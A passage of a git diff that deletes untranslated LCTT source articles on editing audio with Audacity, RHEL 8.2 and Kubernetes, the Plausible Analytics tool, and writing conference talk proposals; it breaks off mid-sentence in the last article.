https://opensource.com/article/19/1/basic-live-video-streaming-server#obs -[8]: https://opensource.com/sites/default/files/uploads/obs-sources.jpg (OBS sources) -[9]: https://opensource.com/article/17/1/linux-plays-sound -[10]: https://opensource.com/sites/default/files/uploads/obs-scenes.jpg (Scenes in OBS) -[11]: https://opensource.com/sites/default/files/uploads/obs-stream-start.jpg (Start streaming in OBS) -[12]: https://opensource.com/article/18/1/creative-commons-real-world diff --git a/sources/tech/20200430 Edit music recordings with Audacity on Linux.md b/sources/tech/20200430 Edit music recordings with Audacity on Linux.md deleted file mode 100644 index be6f68f062..0000000000 --- a/sources/tech/20200430 Edit music recordings with Audacity on Linux.md +++ /dev/null @@ -1,161 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Edit music recordings with Audacity on Linux) -[#]: via: (https://opensource.com/article/20/4/audacity) -[#]: author: (David Both https://opensource.com/users/dboth) - -Edit music recordings with Audacity on Linux -====== -How COVID-19 caused me to learn Audacity on the fly and learn to love -it. -![Bird singing and music notes][1] - -In this strange and difficult time of a global pandemic, we are all called upon to do things differently, to change our routines, and to learn new things. - -I have worked from home for many years, so that is nothing new to me. Even though I am allegedly retired, I write articles for Opensource.com and [Enable Sysadmin][2] and books. I also manage my own home network, which is larger than you might think, and my church's network and Linux hosts, and I help a few friends with Linux. All of this keeps me busy doing what I like to do, and all of it is usually well within my comfort zone. - -But COVID-19 has changed all of that. And, like many other types of organizations, my church had to move quickly to a new service-delivery paradigm. And that is what churches do—deliver a specific kind of service. As the church sysadmin and with some knowledge of audio recording and editing (back in the '70s, I mixed the sound and was the only roadie for a couple of regional folk-rock groups in Toledo, Ohio), I decided to learn the open source audio recording and editing software [Audacity][3] to help meet this challenge. - -This is not a comprehensive how-to article about using Audacity. It is about my experiences getting started with this powerful audio-editing tool, but there should be enough information here to help you get started. - -I have learned just what I need to know in order to accomplish my task: combining several separate audio clips into a single MP3 audio file. If you already know Audacity and do things differently or know things that I don't, that is expected. And if you have any suggestions to help me accomplish my task more easily, please share them in the comments. - -### The old way - -I try not to use the term "normal" now because it is hard to know exactly what that is—if such a state even exists. But our old method of producing recordings for our shut-ins, members who are traveling, and anyone else was to record the sermon portion of our regular, in-person church services and post them on our website. - -To do this, I installed a TASCAM SS-R100 solid-state recorder that stores the sermons as MP3 files on a thumb drive. We uploaded the recordings to a special directory of our website so people could download them. The recordings are uploaded using a Bash [program][4] I wrote for the task. _Automate everything!_ I trained a couple of others to perform these tasks using sudo in case I was not available. - -This all worked very well. Until it didn't. - -### The new way - -As soon as the first restrictions on large gatherings occurred, we made some changes. We could still have small gatherings, so four of us met Sunday mornings and recorded an abbreviated service using our in-house recorder and doing the upload the usual way. This worked, but as the crisis deepened and it became more of a risk to meet with even a few people, we had to make more changes. - -Like a huge number of other organizations, we realized we each needed to perform our parts of creating services in separate locations from our own homes. - -Now, depending upon the structure of the service, I receive several recordings that I need to combine to create the full church service. Our music director records each anthem and interlude using her iPhone and sends me the recordings in the M4A (MPEG-4 audio) format. They each range in length from seconds to five minutes and are up to 3MB in size. Likewise, our rector sends me two to six recordings, also in M4A format, that contains his portion of the service. Sometimes, other musicians in our church send solos or duets recorded with their significant others; these can be in MP3 or M4A formats. - -Then, I pull all of this together into a single recording that can be uploaded to our server for people to download. I use Audacity for this because it was available in my repo, and it was easy to get started. - -### Getting started with Audacity - -I had never used [Audacity][5] before this, so, like many others these days, I needed to learn something new just in time to accomplish what I needed to do. I struggled a bit at first, but it turned out to be fun and very enlightening. - -Audacity was easy to install on my Fedora 31 workstation because, as in many distros, it is available from the Fedora repository. - -The first time I opened Audacity with the program launcher icon, the application's window was empty with no projects nor tracks present. Audacity projects have an AUP extension, so if you have an existing project, you could click on the file in your favorite file manager and launch Audacity that way. - -### Convert M4A to MP3 - -As installed by Fedora, Audacity does not recognize M4A files. Regardless of how you proceed, you need to install the [LAME][6] MP3 encoder and [FFmpeg][7] import/export library, both of which are available from the Fedora repository and, most likely, any other distro's repository. - -There are websites that explain how to configure Audacity to use these tools to import and convert audio files from M4A to other types (such as MP3), but I decided to write a script to do it from the command line. For one reason, using a script is faster than doing a lot of extra clicking in a GUI interface, and for another, the file names need some work, so I already needed a script to rename the files. Many people use non-alphanumeric characters to name files, but I don't like dealing with special keyboard characters from the command line. It's easier to manage files with simple alphanumeric names, so my script removes all non-alphanumeric characters from the file names and then converts the files to MP3 format. - -You may choose a different approach, but I like the scripted solution. It is fast, and I only need to run the script once, no matter how many files need to be renamed and converted to MP3. - -### Create a new project - -You can create a new project whether or not any audio tracks are loaded. I recommend creating the project first, before importing any audio files (aka "clips"). From the Menu bar, select **File > Save Project > Save Project As**. This opens a warning dialog window that says, _"'Save project' is for an Audacity project, not an audio file."_ Click the **OK** button to continue to a standard file-save dialog. - -I found that I needed to do this twice. The first time, the warning dialog did not display any buttons, so I had to close the dialog using the window menu or the x icon in the Title bar. - -Name the project whatever you like, and Audacity automatically adds the AUP extension. You now have an empty project. - -### Add audio files to your project - -The first step is to add your audio files to the project. Using the Menu bar, open **File > Import > Audio** and then use the file dialog to select one or more files to import. For my first test project, I loaded all the files at once without sorting the tracks nor aligning the clips in the desired sequence along the timeline. This time, I started by loading the audio files one at a time in the sequence I wanted them from top to bottom. As each file is imported, it is placed into a new track below any existing tracks. The following image shows the files loaded all at one time in the sequence they appear in the working directory. - -![Tracks loaded in Audacity][8] - -There is a timeline across the top of the window's track area. There is also a scroll bar at the bottom of the window, so you can scroll along the timeline when the tracks extend beyond the width of the Audacity window. There is also a vertical scroll bar if there are more tracks than fit into the window. - -Notice the names in the upper-left corner of the waveform section of each track—they are the file names of each track without the extension. These are not there by default, but I find them helpful. To display these names, use the Menu bar to select **Edit > Preferences** and place a check in the **Show Audio Track Name As Overlay** box. - -### Order your audio clips - -Once you have some files loaded into the Audacity workspace, you can start manipulating them. To order your audio clips, select one and use the **Time-Shift** tool (↔︎) to slide them horizontally along the tracks; continue doing this until all the clips line up end to end in the order you want them. Note that the clip you are moving is book-ended by a pair of vertical alignment lines. When they line up perfectly, the end lines of the two aligned tracks change color to alert you. - -You can hover the mouse pointer over the tool icons in the Audacity toolbars to see a pop-up that displays the name of that tool. This helps beginners understand what each tool does. - -![Audacity toolbox][9] - -Here, the **Selection** tool** **is selected in the Audacity toolbar. The **Time-Shift** tool is second from the left on the bottom row. - -The following image shows what happens when you slide the audio clips into place on the project timeline without sorting the tracks into a particular sequence. This may not be optimal for how you like to work. It is not for me. - -![Audio clips in Audacity][10] - -To remove segments of (or complete) audio clips, select them with the **Selection** tool—you can also select multiple adjacent tracks. Then you can press the **Delete** button on your keyboard to delete the selected segment(s). - -In the image above, you can see a vertical black line in track 1 and a vertical green line crossing all the tracks. These are the audio cursors that show the playback positions of a track or the entire project. Choose the **Selection** tool and click the desired position within a track, then click the **Play** button on the transport controls (in the upper-left of the Audacity window) to begin playback. Playback will continue past the end of the selected track and all the way to the end of the project. If tracks overlap on the timeline, they will play simultaneously. - -To begin playback immediately, click the desired starting point on the timeline. To play part of a track, hold down the Left mouse button to select a short segment of the track, and then click the **Play** button. The other transport buttons—Pause, Stop, and so—on are identified with universal icons and work as you would expect. - -You can also click the **Silence Audio Selection** button—the fifth button from the left on the **Edit** toolbar (shown below)—to completely silence a selected segment while leaving it in place for timing purposes. This is how I silenced a number of background clicks and noises. - -![Audacity edit tools][11] - -It took me a while to figure out how to sort the tracks vertically, and it turns out there are a few different ways to accomplish the task. - -You can use the track menu to reorder arrangement. Each track has its own Control Panel on the left side (shown below). The track drop-down Menu bar at the top of the Control Panel opens a menu that provides several track-sequencing options to move a track up, down, to the top, or to the bottom. - -![Moving tracks in Audacity][12] - -The items to move a track up or down move the track one position at a time, so you have to select it as many times as necessary to get the track in the desired position. - -To drag and drop tracks, you must click on the space occupied by the track details. In this screenshot, that's "Mono, 48000Hz 32 bit float". It can be tricky, because if you click too high, you adjust the panning (the left and right stereo position) and if you click too low, you may collapse or select the track. Target the "Mono" or "Stereo" label (whatever your track happens to be) label, and then click and drag the track up or down to reposition it in your workspace. - -### Apply amplification and noise reduction effects - -Some tracks need the overall volume to be adjusted. I used the **Selection** tool to double-click and select the entire track (but you could also select a portion of a track). On the Menu bar, select **Effect > Amplify** to display a small dialog window. You can use the slider or enter a value to specify the amount of amplification. Negative numbers decrease the volume. If you try to increase the volume, you need to place a check in the **Allow Clipping** box. Then click OK. - -I found that amplification is a bit tricky; it is easy to use too much or too little. Start by using small numbers to see the results. You can always use **Ctrl+Z** to undo your changes if you go too far in either direction. - -Another effect I find useful is noise reduction. One of the tracks was recorded with a noticeable 60Hz hum, which is usually due to poor grounding of the microphone or recorder. Fortunately, there were only several seconds of hum and no other sound at the beginning of the recording. - -Applying the noise reduction effect was a little confusing at first. First, I selected a few samples of the humming sound to tell Audacity what sound needed to be reduced, and then I navigated to **Effect > Noise Reduction**. This opens the **Noise Reduction** dialog. I clicked on the **Get Noise Profile** button in the Step 1 section of the dialog, which uses the selected sample as the basis for a set of filter presets. After it gathers the selected sample, though, the dialog disappeared (this is by design). I re-opened the dialog, used the slider to select the noise reduction level in decibels (I set it to 15dB and left the other sliders alone), and then clicked **OK**. - -This worked well—you can hear the residual hum only if you know it is there. I need to experiment with this some more, but since the result was acceptable, so I did not play with the settings any further. - -The reason the dialog box closes after getting a noise profile is actually for the sake of expediency. If you're processing many tracks or segments of audio, each with a different noise profile, you can open the **Noise Reduction** effect, get the current noise profile, and then select the audio you want to clean. You can then run the Noise Reduction filter using **Ctrl+R**, the keyboard shortcut for running the most recent filter. Instead of getting a new noise profile, however, Audacity uses the one you've just stored, and performs the filter instead. This way, you can get a sample with a few clicks but clean lots of audio with just one keyboard shortcut. - -### And so much more - -I have only worked with a few of the basics and have not even begun to scratch the surface of Audacity. I can already see that it has so many more features and tools that will enable me to create even more professional-sounding projects. - -For example, in addition to working with existing audio files, Audacity can make recordings from line inputs, the desktop sound stream, and microphone inputs. It can do special effects like fade in and out and cross-fades. And I have not even tried to figure out what many of the other effects and tools are capable of. - -I have a feeling I will need to learn more in the near future. Hopefully, this story of my very limited experience with Audacity will prompt you to check it out. For much more information, you can find the [Audacity manual][13] online. - -Using Audacity, you can quickly clean up audio file so that any background noise becomes tolerable. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/audacity - -作者:[David Both][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dboth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/music-birds-recording-520.png?itok=UoM7brl0 (Bird singing and music notes) -[2]: https://www.redhat.com/sysadmin/ -[3]: https://www.audacityteam.org/ -[4]: https://opensource.com/article/17/12/using-sudo-delegate -[5]: https://opensource.com/education/16/9/audacity-classroom -[6]: https://manual.audacityteam.org/man/installing_and_updating_audacity_on_linux.html#linlame -[7]: https://manual.audacityteam.org/man/installing_and_updating_audacity_on_linux.html#linff -[8]: https://opensource.com/sites/default/files/uploads/audacity1_tracksloaded.png (Tracks loaded in Audacity) -[9]: https://opensource.com/sites/default/files/uploads/audacity2_tools.png (Audacity toolbox) -[10]: https://opensource.com/sites/default/files/uploads/audacity3_audioclips.png (Audio clips in Audacity) -[11]: https://opensource.com/sites/default/files/uploads/audacity4_edittoolbar.png (Audacity edit tools) -[12]: https://opensource.com/sites/default/files/uploads/audacity5_trackmovement.png (Moving tracks in Audacity) -[13]: https://manual.audacityteam.org/# diff --git a/sources/tech/20200430 Linux and Kubernetes- Serving The Common Goals of Enterprises.md b/sources/tech/20200430 Linux and Kubernetes- Serving The Common Goals of Enterprises.md deleted file mode 100644 index c3c0c36b66..0000000000 --- a/sources/tech/20200430 Linux and Kubernetes- Serving The Common Goals of Enterprises.md +++ /dev/null @@ -1,77 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Linux and Kubernetes: Serving The Common Goals of Enterprises) -[#]: via: (https://www.linux.com/articles/linux-and-kubernetes-serving-the-common-goals-of-enterprises/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Linux and Kubernetes: Serving The Common Goals of Enterprises -====== - -[![][1]][2] - -For [Stefanie Chiras,][3] VP & GM, Red Hat Enterprise Linux (RHEL) Business Unit at [Red Hat][4], aspects such as security and resiliency have always been important for Red Hat. More so, in the current situation when everyone has gone fully remote and it’s much harder to get people in front of the hardware for carrying out updates, patching, etc. - -“As we look at our current situation, never has it been more important to have an operating system that is resilient and secure, and we’re focused on that,” she said. - -The recently released version of [Red Hat Enterprise Linux (RHEL) 8.2][5] inadvertently address these challenge as it makes it easier for technology leaders to embrace the latest, production-ready innovations swiftly which offering security and resilience that their IT teams need. - -RHEL’s embrace of a predictable 6-month minor release cycle also helped customers plan upgrades more efficiently. - -“There is value for customers in having predictability of minor releases on a six-month cycle. Without knowing when they were coming was causing disruptions for them. The launch of 8.2 is now the second time we have delivered on our commitment of having minor releases every six months,” said Stefanie Chiras. - -In addition to offering security updates, the new version adds insights capabilities and forays into newer areas of innovation. - -The upgrade has expanded the earlier capability called ‘Adviser’ dramatically. Additional functionalities such as drift monitoring and CVE coverage allow for a much deeper granularity into how the infrastructure is running. - -“It really amplifies the skills that are already present in ops and sysadmin teams, and this provides a Red Hat consultation, if you will, directly into the data center,” claimed Charis. - -As containers are increasingly being leveraged for digital transformation, RHEL 8.2 offers an updated application stream of Red Hat’s container tools. It also has new, containerized versions of Buildah and Skopeo. - -[Skopeo][6] is an open-source image copying tool, while Buildah is a tool for building Docker- and Kubernetes-compatible images easily and quickly. - -RHEL has also ensured in-place upgrades in the new version. Customers can now directly in-place upgrade from version 7 to version 8.2. - -Chiras believes Linux has emerged as the go-to-platform for innovations such as Machine Learning, Deep Learning, and Artificial Intelligence. - -“Linux has now become the springboard of innovation,” she argued. “AI, machine learning, and deep learning are driving a real change in not just the software but also the hardware. In the context of these emerging technologies, it’s all about making them consumable into an enterprise.” - -“We’re very focused on our ecosystem, making sure that we’re working in the right upstream communities with the right ISVs, with the right hardware partners to make all of that magic come together,” Chiras said. - -Towards this end, Red Hat has been partnering with multiple architectures for a long time — be it an x86 architecture, ARM, Power, or mainframe with IBM Z. Its partnership with Nvidia pulls in capabilities such as FPGAs, and GPU. - -**Synergizing Kubernetes and Linux ** - -Kubernetes is fast finding favor in enterprises.  So how do Linux and Kubernetes serve the common goals of enterprises? - -“Kubernetes is a new way to deploy Linux. We’re very focused on providing operational consistency by leveraging our technology in RHEL and then bringing in that incredible capability of Kubernetes within our OpenShift product line,” Chiras said. - -The deployment of Linux within a Kubernetes environment is much more complicated than in a traditional deployment. RHEL, therefore, made some key changes. The company created Red Hat Enterprise Linux CoreOS — an optimized version of RHEL for the OpenShift experience. - -“It’s deployed as an immutable. It’s tailored, narrow, and gets updated as part of your OpenShift update to provide consistent user experience and comprehensive security. - -The launch of the Red Hat Universal Base Image (UBI) offers users greater security, reliability, and performance of official Red Hat container images where OCI-compliant Linux containers run. - -“Kubernetes is a new way to deploy Linux. It really is a tight collaboration but what we’re really focused on is the customer experience. We want them to get easy updates with consistency and reliability, resilience and security. We’re pulling all of that together. With such advancements going on, it’s a fascinating space to watch,” added Chiras. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/articles/linux-and-kubernetes-serving-the-common-goals-of-enterprises/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/wp-content/uploads/2019/12/computer-2930704_1280-1068x634.jpg (computer-2930704_1280) -[2]: https://www.linux.com/wp-content/uploads/2019/12/computer-2930704_1280.jpg -[3]: https://www.linkedin.com/in/stefanie-chiras-9022144/ -[4]: https://www.redhat.com/en -[5]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html-single/8.2_release_notes/index -[6]: https://github.com/containers/skopeo diff --git a/sources/tech/20200501 Transparent, open source alternative to Google Analytics.md b/sources/tech/20200501 Transparent, open source alternative to Google Analytics.md deleted file mode 100644 index d4ce222a39..0000000000 --- a/sources/tech/20200501 Transparent, open source alternative to Google Analytics.md +++ /dev/null @@ -1,123 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Transparent, open source alternative to Google Analytics) -[#]: via: (https://opensource.com/article/20/5/plausible-analytics) -[#]: author: (Marko Saric https://opensource.com/users/markosaric) - -Transparent, open source alternative to Google Analytics -====== -Plausible Analytics is a leaner, more transparent option, with the -essential data you need but without all the privacy baggage. -![Digital creative of a browser on the internet][1] - -Google Analytics is the most popular website analytics tool. Millions of developers and creators turn to it to collect and analyze their website statistics. - -More than 53% of all sites on the web track their visitors using Google Analytics. [84%][2] of sites that do use a known analytics script use Google Analytics. - -Google Analytics has, for years, been one of the first tools I installed on a newly launched site. It is a powerful and useful analytics tool. Installing Google Analytics was a habit I didn't think much about until the introduction of the [GDPR][3] (General Data Protection Regulation) and other privacy regulations. - -Using Google Analytics these days comes with several pitfalls, including the need for a privacy policy, the need for cookie banners, and the need for a GDPR consent prompt. All these may negatively impact the site loading time and visitor experience. - -This has made me try to [de-Google-ify websites][4] that I work on, and it's made me start working on independent solutions that are open source and more privacy-friendly. This is where Plausible Analytics enters the story. - -[Plausible Analytics][5] is an open source and lightweight alternative to Google Analytics. It doesn't use cookies and it doesn't collect any personal data, so you don't need to show any cookie banners or get GDPR or CCPA consent. Let's take a closer look. - -### Main differences between Google Analytics and Plausible - -Plausible Analytics is not designed to be a clone of Google Analytics. It is meant as a simple-to-use replacement and a privacy-friendly alternative. Here are the main differences between the two web analytics tools: - -#### Open source vs. closed source - -Google Analytics may be powerful and useful, but it is closed source. It is a proprietary tool run by one of the largest companies in the world, a company that is a key player in the ad-tech industry. There's simply no way of knowing what's going on behind the scenes. You have to put your trust in Google. - -Plausible is a fully open source tool. You can read our code [on GitHub][6]. We're "open" in other ways, too, such as our [public roadmap][7], which is based around the feedback and features submitted by the members of our community. - -#### Privacy of your website visitors - -Google Analytics places [several cookies][8] on the devices of your visitors, and it tracks and collects a lot of data. This means that there are several requirements if you want to use Google Analytics and be compliant with the different regulations: - - * You need to have a privacy policy about analytics - * You need to show a cookie banner - * You need to obtain a GDPR/CCPA consent - - - -Plausible is made to be fully compliant with the privacy regulations. No cookies are used, and no personal data is collected. This means that you don't need to display the cookie banner, you don't need a privacy policy, and you don't need to ask for the GDPR/CCPA consent when using Plausible. - -#### Page weight and loading time - -The recommended way of installing Google Analytics is to use the Google Tag Manager. Google Tag Manager script weights 28 KB, and it downloads another JavaScript file called the Google Analytics tag, which adds an additional 17.7 KB to your page size. That's 45.7 KB of page weight combined. - -Plausible script weights only 1.4 KB. That's 33 times smaller than the Google Analytics Global Site Tag. Every KB matters when you want to keep your site fast to load. - -#### Accuracy of visitor stats - -Google Analytics is being blocked by an increasing number of web users. It's blocked by those who use open source browsers such as [Firefox][9] and [Brave][10]. It's also blocked by those who use open source browser add-ons such as the [uBlock Origin][11]. It's not uncommon to see 40% or more of the audience on a tech site blocking Google Analytics. - -Plausible is a new player on this market and it's privacy-friendly by default, so it doesn't see the same level of blockage. - -#### Simple vs. complex web analytics - -[Google Analytics is overkill][12] for many website owners. It's a complex tool that takes time to understand and requires training. Google Analytics presents hundreds of different reports and metrics for you to get insights from. Many users end up creating custom dashboards while ignoring all the rest. - -Plausible cuts through all the noise that Google Analytics creates. It presents everything you need to know on one single page—all the most valuable metrics at a glance. You can get an overview of the most actionable insights about your website in one minute. - -### A guided tour of Plausible Analytics - -Plausible Analytics is not a full-blown replacement and a feature-by-feature reproduction of Google Analytics. It's not designed for all the different use-cases of Google Analytics. - -It's built with simplicity and speed in mind. There is no navigational menu. There are no additional sub-menus. There is no need to create custom reports. You get one simple and useful web analytics dashboard out of the box. - -Rather than tracking every metric imaginable, many of them that you will never find a use for, Plausible focuses on the essential website stats only. It is easy to use and understand with no training or prior experience: - -![Plausible analytics in action][13] - - * Choose the time range that you want to analyze. The visitor numbers are automatically presented on an hourly, daily, or monthly graph. The default time frame is set at the last 30 days. - * See the number of unique visitors, total page views, and the bounce rate. These metrics include a percentage comparison to the previous time period, so you understand if the trends are going up or down. - * See all the referral sources of traffic and all the most visited pages on your site. Bounce rates of the individual referrals and pages are included too. - * See the list of countries your traffic is coming from. You can also see the device, browser, and operating system your visitors are using. - * Track events and goals to identify the number of converted visitors, the conversion rate, and the referral sites that send the best quality traffic. - - - -Take a look at the [live demo][14] where you can follow the traffic to the Plausible website. - -### Give Plausible Analytics a chance - -With Plausible Analytics, you get all the important web analytics at a glance so you can focus on creating a better site without needing to annoy your visitors with all the different banners and prompts. - -You can try Plausible Analytics on your site alongside Google Analytics. [Register today][15] to try it out, and see what you like and what you don't. Share your feedback with the community. This helps us learn and improve. We'd love to hear from you. - -Take a look at five great open source alternatives to Google Docs. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/plausible-analytics - -作者:[Marko Saric][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/markosaric -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) -[2]: https://w3techs.com/technologies/details/ta-googleanalytics -[3]: https://gdpr-info.eu/ -[4]: https://markosaric.com/degoogleify/ -[5]: https://plausible.io/ -[6]: https://github.com/plausible-insights/plausible -[7]: https://feedback.plausible.io/roadmap -[8]: https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage -[9]: https://www.mozilla.org/en-US/firefox/new/ -[10]: https://brave.com/ -[11]: https://github.com/gorhill/uBlock -[12]: https://plausible.io/vs-google-analytics -[13]: https://opensource.com/sites/default/files/plausible-analytics.png (Plausible analytics in action) -[14]: https://plausible.io/plausible.io -[15]: https://plausible.io/register diff --git a/sources/tech/20200503 13 tips for getting your talk accepted at a tech conference.md b/sources/tech/20200503 13 tips for getting your talk accepted at a tech conference.md deleted file mode 100644 index b260116fb6..0000000000 --- a/sources/tech/20200503 13 tips for getting your talk accepted at a tech conference.md +++ /dev/null @@ -1,127 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (13 tips for getting your talk accepted at a tech conference) -[#]: via: (https://opensource.com/article/20/5/tips-conference-proposals) -[#]: author: (Todd Lewis https://opensource.com/users/toddlewis) - -13 tips for getting your talk accepted at a tech conference -====== -Before you respond to an event's call for papers, make sure your talk's -proposal aligns with these best practices. -![All Things Open check-in at registration booth][1] - -As tech conference organizers ramp up for the fall season, you may be seeing calls for papers (CFP) landing in your email box or social media feeds. We at [All Things Open][2] (ATO) have seen a lot of presentation proposals over the years, and we've learned a few things about what makes them successful. - -As we prepare for the eighth annual ATO in October 2020, we thought we'd offer a few best practices for writing successful CFP responses. If you're considering submitting a talk to ATO or another tech event, we hope these tips will help improve the chances that your proposal will be accepted. - -### 1\. Know the event you're submitting a talk to - -This seems like the proverbial _no-brainer_, but some people don't take the time to research an event before they submit a talk. Peruse the conference's website and review the talks, speakers, topics, etc. featured in the last couple of years. You can also find a lot of information simply by googling. The time you invest here will help you avoid a submission that is completely out of context for the event. - -### 2\. Understand what the event is looking for - -Look for information about what the event is looking for and what types of topics or talks it expects will be a good fit. We try to provide as much information as possible about the [ATO conference][3], [why someone would want to speak][4], and [what we're looking for][5] (both general and special interest topics). We also try to make the submission process as easy as possible (no doubt, there is room for improvement), in part because we believe this improves the quality of submissions and makes our review process go more smoothly. - -### 3\. Reach out to the organizer and ask questions - -If you're considering submitting a talk, don't hesitate to reach out and ask the event organizers any questions you have and for guidance specific to the event. If there is no or little response, that should be a red flag. If you have any questions about All Things Open, please reach out directly at [info@allthingsopen.org][6]. - -### 4\. Be clear about what attendees will learn from your talk - -This is one of the most common mistakes we see. Only about 25% of the proposals we receive clearly explain the proposed talk's takeaways. One reason you should include this is that nearly every event attendee makes their schedule based on what they will learn if they go to a session. But for organizers and proposal reviewers, having this information clearly stated upfront is pure gold. It simplifies and speeds up the assessment process, which gets you one step closer to being accepted as a speaker. A paragraph titled "Attendee Takeaways" with bullet points is the holy grail for everyone involved. - -### 5\. Keep recommended word counts in mind - -This is another mistake we see a lot. Many talks are submitted with either a single sentence description in the abstract or an extraordinary long volume of text. Neither is a good idea. The only exception we can think of is when a topic is very popular or topical, and that alone is enough to win the day even if the abstract is extremely short (but this is rare). Most abstracts should be between 75 and 250 words, and perhaps more for an extended workshop with prerequisites (e.g., preexisting knowledge or required downloads). Even then, try to keep your proposal as sharp, concise, and on-point as possible. - -Disregard this advice at your own risk; otherwise, there's a high likelihood that your proposal will be met with one of these reactions from reviewers: "They didn't take the time to write any more than this?" or "Sheesh, there's no way I have the time to read all that. I'm going to give it the lowest score and move on." - -### 6\. Choose a good title - -This is a debate we see all the time: Should a talk's title describe what the talk is about, or should it be written to stand out and get attention (e.g., evoking emotion, anchoring to a popular pop culture topic, or asking a compelling question)? There isn't a single correct answer to this question, but we definitely know when a title "works" and when it doesn't. We've seen some very creative titles work well and generate interest, and we've seen very straightforward titles work well, also. - -Here is our rule of thumb: If the talk covers a topic that has been around a while and is not particularly _hot_ right now, try getting creative and spicing it up a bit. If the topic is newer, a more straightforward title describing the talk in plain terms should be good. - -Titles on an event schedule may be the only thing attendees use to decide what talks to attend. So, run your potential talk titles by colleagues and friends, and seek their opinions. Ask: "If you were attending an event and saw this title on the schedule, would it pique your interest?" - -### 7\. Know the basic criteria that reviewers and organizers use to make decisions - -While this isn't a comprehensive list of review criteria, most reviewers and organizers consider one or more of the following when evaluating talk proposals. Therefore, at minimum, consider this list when you're creating a talk and the components that go with it. - - 1. **Timeliness of and estimated interest in the topic:** Is the topic applicable to the session's target audience? Will it deliver value? Is it timely? - 2. **Educational value:** Based on the abstract and speaker, is it clear that attendees will learn something from the talk? As mentioned in item 4 above, including an "Attendee Takeaways" section is really helpful to establish educational value. - 3. **Technical value:** Is the technology you intend to showcase applicable, unique, or being used in a new and creative way? Is there a live demo or a hands-on component? While some topics don't lend themselves to a demo, most people are visual learners and are better off if a presentation includes one (if it's relevant). For this reason, we place a lot of value on demos and hands-on content. - 4. **Diversity:** Yes, there are exceptions, but the majority of events, reviewers, and organizers agree that having a diverse speaker lineup is optimal and results in a better overall event in multiple ways. A topic delivered from a different perspective can often lead to creative breakthroughs for attendees, which is a huge value-add. See item 10 below for more on this. - 5. **Talk difficulty level:** We identify All Things Open talks as introductory, intermediate, or advanced. Having a good mix of talk levels ensures everyone in attendance can access applicable content. See item 9 below for more on this, but in general, it's smart to indicate your talk's level, whether or not the CFP requests it. - - - -### 8\. Stay current on the event's industry or sector - -Submitting a proposal on a relevant topic increases the probability your talk will be accepted. But how do you know what topics are of interest, especially if the CFP doesn't spell it out in simple terms? The best way to know what's timely and interesting is to deeply understand the sector the event focuses on. - -Yes, this requires time and effort, and it implies you enjoy the sector enough to stay current on it, but it will pay off. This knowledge will result in a higher _sector IQ_, which will be reflected in your topic, title, and abstract. It will be recognized by reviewers and immediately set you apart from others. At All Things Open, we spend the majority of our time reading about and staying current on the "open" space so that we can feature relevant, substantive, and informed content. Submitting a talk that is relevant, substantive, and informed greatly enhances the chance it will be accepted. - -### 9\. Describe whether the talk is introductory, intermediate, or advanced - -Some CFPs don't ask for this information, but you should offer it anyway. It will make the reviewers and organizer very happy for multiple reasons, including these: - - 1. Unless the event targets attendees with a certain skill or experience level (and most do not), organizers must include content that is appealing to a wide audience, including people of all skill, experience, and expertise levels. Even if an event focuses on a specific type of attendee (perhaps people with higher levels of experience or skills), most want to offer something a little different. Listing the talk level makes this much easier for organizers. - 2. News flash: Reviewers and organizers don't know everything and are not experts in every possible topic area. As a result, reviewers will sometimes look for a few keywords or other criteria, and adding the talk level can "seal the deal" and get your talk confirmed. - - - -### 10\. Tell organizers if you're a member of a historically underrepresented group - -A growing number of events are getting better at recognizing the value of diversity and ensuring their speaker lineup reflects it. If you're part of a group that hasn't typically been included in tech events and leadership, look to see if there is a place to indicate that on the submission form. If not, mention it in a conspicuous place somewhere in the abstract. This does not guarantee approval in any way—your proposal must still be well-written and relevant—but it does give reviewers and organizers pertinent information they may value and take into consideration. - -### 11\. Don't be ashamed of your credentials or speaking experience if it is light - -We talk to a lot of people who would like to deliver a presentation and have a lot to offer, but they never submit a talk because they don't feel they're qualified to speak. _Not true._ Some of the best talks we've seen are from first-time speakers or those very early in their speaking careers. Go ahead and submit the talk, and be honest when discussing your background. Most reviewers and organizers will focus on the substance of the submission over your experience and recognize that new ways of approaching and using technology often come from newbies rather than industry veterans. - -One caveat here: It still pays to know yourself. By this, we mean if you absolutely hate public speaking, have no desire to do it, and are only considering submitting a talk due to, for example, pressure from an employer, the talk is not likely to go well. It's better, to be honest, on the frontend than force something you have no desire to do. - -### 12\. Consider panel sessions carefully - -If you've got an 